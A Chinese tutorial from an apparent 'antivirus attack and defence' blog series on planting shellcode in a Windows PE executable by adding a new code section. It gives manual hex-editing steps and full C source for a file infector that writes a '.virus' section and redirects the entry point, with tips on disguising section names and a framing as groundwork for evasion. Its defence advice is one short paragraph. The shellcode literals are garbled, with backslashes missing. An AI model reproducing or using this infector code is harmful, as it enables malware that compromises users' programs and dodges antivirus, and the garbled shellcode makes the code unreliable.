反病毒攻防研究第003篇：添加节区实现代码的植入

一、前言

        上一篇文章所讨论的利用缝隙实现代码的植入有一个很大的问题，就是我们想要植入的代码的长度不能够比缝隙大，否则需要把自身的代码截成几个部分，再分别插入不同的缝隙中。而这次所讨论的方法是增加一个节区，这个节区完全可以达到私人订制的效果，其大小完全由我们自己来决定，这样的话，即便是代码较长，也不用担心。而这种方式最大的缺陷就是不利于恶意代码自身的隐藏，因此在现实中可能并不常用。其实，我在这里讨论节区的添加，是为了以后更加深入的讨论打下基础，因为在加壳以及免杀技术中，经常会对PE文件添加节区。这篇文章首先会讨论如何手工添加节区，之后会讨论编程实现节区的添加。

 

二、手工添加节区

        就我个人而言，只要不是过于繁琐，我都比较倾向于直接利用十六进制代码编辑软件来修改目标程序。因为当理解了各种文件的格式之后，纯手工对代码进行编辑会更加灵活，也更加方便。只要ShellCode不太长，那么手工添加节区来植入代码，其实还是比较容易的。一般来说，添加节区由以下四个步骤组成：

        1、在节表后面添加一个IMAGE_SECTION_HEADER，用于保存所添加的节的基本信息。

        2、更新IMAGE_FILE_HEADER中的NumberOfSections字段，添加了几个节区就增加多少。

        3、更新IMAGE_OPTIONAL_HEADER中的SizeOfImage字段，这里需要加上所添加节区的大小。如果添加代码，还需修改SizeOfCode的大小以及程序入口点。

        4、添加节区的数据。

        这里先用PEiD看一下上一篇文章中所编写的helloworld.exe的节区情况（这里所讨论的是Release版，如果是Debug版，会有所不同）：

图1 用PEiD查看节区

        从截图中可以看到helloworld.exe包含有三个节区，再来看一下IMAGE_SECTION_HEADER的定义：

typedef struct _IMAGE_SECTION_HEADER {
        BYTE Name[IMAGE_SIZEOF_SHORT_NAME];      //8个字节的节区名称
        union {                                  //节区尺寸
                DWORD PhysicalAddress;
                DWORD VirtualSize;
        } Misc;
        DWORD VirtualAddress;                    //节区的RVA地址
        DWORD SizeOfRawData;                     //在文件中对齐后的尺寸
        DWORD PointerToRawData;                  //在文件中的偏移
        DWORD PointerToRelocations;              //在OBJ文件中使用，重定位的偏移
        DWORD PointerToLinenumbers;              //行号表的偏移（供调试用）
        WORD NumberOfRelocations;                //在OBJ文件中使用，重定位项数目
        WORD NumberofLinenumbers;                //行号表中行号的数目
        DWORD Characteristics;                   //节区的属性
} IMAGE_SECTION_HEADER, *PIMAGE_SECTION_HEADER;

        该结构体的成员很多，但是真正需要使用的只有在PEiD中显示的那6个，即Name、VirtualSize、VirtualAddress、SizeofRawData、PointerToRawData与Characteristics。结合Hex Editor Neo观察如下：

图2 用Hex Editor Neo查看节区数据

        在图2中可以发现，IMAGE_SECTION_HEADER的长度是40个字节，每一项节表的相关数据在Hex Editor Neo中正好占了两行半的内容。这里再解释一下在PEiD中所显示的那六个成员的意义：

        1、Name：节区名称。这是一个8位ASCII码名（不是Unicode内码），用来定义节区名称。一般来说，节区名称以一个“.”开始（如.text），但是其实这个“.”并不是必需的。需要说明的是，如果节区的名称超过8个字节，则没有最后的终止标志“NULL”字节。带有一个“$”的节区名字会从链接器那里得到特殊的对待，前面带有“$”的相同名字的节区被合并，在合并后的节区中，它们是按“$”后面的字符字母顺序进行合并的。

        对于helloworld.exe这个程序来说，为了实现所添加节区的隐藏，可以将新添加的节区名称伪装成正常的节区名称，比如.crt、.bss、.edata或者.sdata等等。或者把原来正常的节区名称改掉，如将原来的.text改为.jy（我名字的缩写），而将所添加的节区名称命名为.text，一般来说，系统不会因为节区改了名字而出错。这里为了方便起见，将新节区的名字设定为.virus。

        2、VirtualSize（V.Size）：指出实际的、被使用的节区大小，是节区在没进行对齐处理前的实际大小。如果VirtualSize大于SizeOfRawData，那么SizeOfRawData是来自可执行文件初始化数据的大小，与VirtualSize相差的字节用零填充。这个字段在OBJ文件中是被设定为0的。

        这里我将节的大小直接设定为对齐后的大小。由于文件对齐是0x1000字节，那么就采用最小值即可，直接设定为0x1000。由于计算机是小端显示，且占据4个字节，因此应当写为“00 10 00 00”，这种小端的书写方式在之后的数据填写中也会采用。

        3、VirtualAddress（V.Offset）：表示节区装载到内存中的RVA。这个地址是按照内存页对齐的，它的值总是SectionAlignment的整数倍。在Microsoft工具中，第一个块的默认RVA为1000h。在OBJ中，该字段没有意义，并被设为0。

        VirtualAddress的值是上一个节区的起始位置加上上一个节对齐后的长度的值，在PEiD中可见，上一个节区的起始位置是0x7000，上个节区对齐后的长度是0x4000，因此新节区的起始位置是0xB000。

        4、SizeOfRawData（R.Size）：该节区在磁盘文件中所占的大小。在可执行文件中，该字段包含经过FileAlignment调整后的块的长度。例如，指定FileAlignment的大小为200h，如果VirtualSize中的块的长度为19Ah个字节，这一块应保持的长度为200h个字节。

        这里只要填写一个最小值0x1000就可以。

        5、PointerToRawData（R.Offset）：该节区在磁盘文件中的偏移。程序经编译或汇编后生成原始数据，这个字段用于给出原始数据在文件中的偏移。如果程序自装载PE或COFF文件（而不是由操作系统装入），这一字段比VirtualAddress还重要。在这种状态下，必须完全使用线性映像方法装入文件，所以需要在该偏移处找到块的数据，而不是VirtualAddress字段中的RVA地址。

        由于上一个节区的位移为0x7000，大小为0x3000，所以这里的R.Offset应该为0xA000。

        6、Characteristics（Flags）：节区属性。该字段是一组指出节区属性（如代码/数据/可读/可写）的标志。具体的属性可以查表获得。

        这里可以直接参考.text的属性，即“20 0000 60”（包含代码，可读可执行）。

        那么依据上述分析，在紧接着上一个节区位置的0x240处开始，直接手工填写相关数据如下：

图3 手工添加节区的基本信息

        至此，节区的基本信息添加完成，接下来需要修改这个PE文件的节区数量，之前该文件有3个节区，这里需要修改成4个。找到IMAGE_FILE_HEADER中的NumberOfSections字段进行修改：

图4 更改节区数量

        接下来需要修改文件映像的大小，也就是SizeOfImage的值。因为这里我新添加了一个节区，那么就应该把新的节区的大小加上原始SizeOfImage的值，就是新的文件映像的大小。这里原始的SizeOfImage大小为0xB000，新节区的大小为0x1000，那么新的SizeOfImage的大小就是0xC000。

图5 更改文件映像大小

        由于我在文件中添加了新的代码段，所以这里还需要修改SizeOfCode的大小，出现多个代码节，就应该把这个字段修改为它们的总和。我添加了0x1000字节的内容，那么就应将这个数据段修改成0x6000：

图6 修改代码节的大小

        至此，修改PE结构字段的内容都已经做完了，现在开始需要添加真实的数据，根据上述分析，文件的起始位置为0xA000，长度为0x1000。填入ShellCode，并在其后填入00，将0x1000长度的空间补满（不补满的话，系统会报错，补多了的话，会显示有附加数据）：

图7 添加ShellCode

        这里的返回地址（0x00401203）与上一篇文章中的不同，需要注意。最后一步就是将程序的入口点修改为ShellCode的入口点，即将AddressOfEntryPoint修改为0xB000（RVA）：

图8 修改程序入口地址为ShellCode地址

        至此，所有修改完成，再次使用PEiD查看，如图所示：

图9 添加成功

        经过实际测试，程序正常运行，效果与上一篇文章所讨论的相同，这里不再赘述。

三、编程添加节区

        与上一篇文章中的在缝隙中添加代码的方法类似，通过编程添加一个节区其实就是对文件的一系列操作，并且依然需要对PE文件的合法性进行检验。通过编程的方法添加节区和手动方法在步骤上是一样的，只不过是将上面的手动步骤以通过调用API函数的方式进行编程而已。完整代码如下：

#include <windows.h>
#define FILENAME "helloworld.exe"    //欲“感染”的文件名

char szSecName[] = ".virus";         //所添加的节区名称
int nSecSize = 4096;                 //所添加的节区大小（字节）

char shellcode[] =
        "x33xdb"                   //xor  ebx,ebx
        "x53"                       //push ebx
        "x68x2ex65x78x65"       //push 0x6578652e
        "x68x48x61x63x6b"       //push 0x6b636148
        "x8bxc4"                   //mov  eax,esp 
        "x53"                       //push ebx
        "x50"                       //push eax
        "xb8x31x32x86x7c"       //mov  eax,0x7c863231
        "xffxd0"                   //call eax 
        "xb8x90x90x90x90"       //mov  eax,OEP
        "xffxe0x90";              //jmp  eax

HANDLE hFile = NULL;
HANDLE hMap = NULL;
LPVOID lpBase = NULL;

DWORD AlignSize(int nSecSize, DWORD Alignment)
{
        int nSize = nSecSize;
        if (nSize % Alignment != 0 )
        {
                nSecSize = (nSize / Alignment + 1) * Alignment;
        }

        return nSecSize;
}

void AddSectionData(int nSecSize)
{
        PBYTE pByte = NULL;
        //申请用来添加数据的空间，这里需要减去ShellCode本身所占的空间
        pByte = (PBYTE)malloc(nSecSize-(strlen(shellcode)+3));
        ZeroMemory(pByte, nSecSize-(strlen(shellcode)+3));

        DWORD dwNum = 0;
        //令文件指针指向文件末尾，以准备添加数据
        SetFilePointer(hFile, 0, 0, FILE_END);
        //在文件的末尾写入ShellCode
        WriteFile(hFile, shellcode, strlen(shellcode)+3, &dwNum, NULL);
        //在ShellCode的末尾用00补充满
        WriteFile(hFile, pByte, nSecSize-(strlen(shellcode)+3), &dwNum, NULL);
        FlushFileBuffers(hFile);

        free(pByte);
}

int main()
{	
        hFile = CreateFile(FILENAME,
                           GENERIC_READ | GENERIC_WRITE,
                           FILE_SHARE_READ,
                           NULL,
                           OPEN_EXISTING,
                           FILE_ATTRIBUTE_NORMAL,
                           NULL);
        hMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,0);
        lpBase = MapViewOfFile(hMap,FILE_MAP_READ|FILE_MAP_WRITE,0,0,0);
	
        PIMAGE_DOS_HEADER pDosHeader = (PIMAGE_DOS_HEADER)lpBase;
        PIMAGE_NT_HEADERS pNtHeader = NULL;
    
        //PE文件验证，判断e_magic是否为MZ
        if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
        {
                UnmapViewOfFile(lpBase);
                CloseHandle(hMap);
                CloseHandle(hFile);
                return 0;
         }
        //根据e_lfanew来找到Signature标志位
        pNtHeader = (PIMAGE_NT_HEADERS)((BYTE *)lpBase + pDosHeader->e_lfanew);
        //PE文件验证，判断Signature是否为PE
        if(pNtHeader->Signature != IMAGE_NT_SIGNATURE)
        {
                UnmapViewOfFile(lpBase);
                CloseHandle(hMap);
                CloseHandle(hFile);
                return 0;
        }
	
        int nSecNum = pNtHeader->FileHeader.NumberOfSections;
        DWORD dwFileAlignment = pNtHeader->OptionalHeader.FileAlignment;
        DWORD dwSecAlignment = pNtHeader->OptionalHeader.SectionAlignment;

        PIMAGE_SECTION_HEADER pSecHeader = (PIMAGE_SECTION_HEADER)((DWORD)
                &(pNtHeader->OptionalHeader)+pNtHeader->
                FileHeader.SizeOfOptionalHeader);

        PIMAGE_SECTION_HEADER pTmpSec = pSecHeader + nSecNum;

        //拷贝节区名称
        strncpy((char *)pTmpSec->Name, szSecName, 7);
        //节的内存大小
        pTmpSec->Misc.VirtualSize = AlignSize(nSecSize, dwSecAlignment);
        //节的内存起始位置
        pTmpSec->VirtualAddress = pSecHeader[nSecNum - 1].VirtualAddress + 
                AlignSize(pSecHeader[nSecNum - 1].Misc.VirtualSize, dwSecAlignment);
        //节的文件大小
        pTmpSec->SizeOfRawData = AlignSize(nSecSize, dwFileAlignment);
        //节的文件起始位置
        pTmpSec->PointerToRawData = pSecHeader[nSecNum - 1].PointerToRawData + 
                AlignSize(pSecHeader[nSecNum - 1].SizeOfRawData, dwSecAlignment);
        //节的属性（包含代码，可执行，可读）
        pTmpSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE | IMAGE_SCN_MEM_READ ;

        //修正节的数量，自增1
        pNtHeader->FileHeader.NumberOfSections ++;
        //修正映像大小
        pNtHeader->OptionalHeader.SizeOfImage += pTmpSec->Misc.VirtualSize;

        //将程序的入口地址写入ShellCode
        DWORD dwOep = pNtHeader->OptionalHeader.ImageBase+pNtHeader->OptionalHeader.AddressOfEntryPoint;
        *(DWORD *)&shellcode[25] = dwOep;

        //添加节区数据
        AddSectionData(pTmpSec->SizeOfRawData);
	
        //修正代码长度（只在添加代码时才需修改此项）
        pNtHeader->OptionalHeader.SizeOfCode += pTmpSec->SizeOfRawData;
        //修正程序的入口地址（只在添加代码并想让ShellCode提前执行时才需修改此项）
        pNtHeader->OptionalHeader.AddressOfEntryPoint = pTmpSec->VirtualAddress;

        FlushViewOfFile(lpBase, 0);

        UnmapViewOfFile(lpBase);
        CloseHandle(hMap);
        CloseHandle(hFile);
	
        return 0;
}

        以上代码比较简单，就是基本的文件操作，已给出了相关的注释，这里不再论述。

四、防范方法

        在我看来，感染类病毒并不容易清除，因为它会把自身代码植入到正常PE文件中，尽管中毒后可以运用杀毒工具针对其对计算机造成的损害进行清除，但是难以删除隐藏在正常程序中的恶意代码。虽然我们可以不再运行含有恶意程序的软件，但是只要运行过一次，那么它就有可能将计算机中的所有PE文件感染，这样即便我们使用杀毒工具清除了病毒所产生的不良行为，但是一旦运行别的程序，依旧会再次中病毒。而且就算有方法将藏身于PE文件中的病毒代码彻底清除，也有可能破坏程序主体，使该程序不能够正常运行。因此，最好的方法就是从源头上杜绝这种情况的出现，不要下载和运行来历不明的程序，并且安装杀毒软件。也就是说，一定要培养出良好的计算机安全意识。

五、小结

        这次我们讨论了手工以及编程添加节区的方法，其实它的原理非常简单，只是比较繁琐而已。通过这篇文章的讨论，也为以后的免杀技术的讨论打下了基础。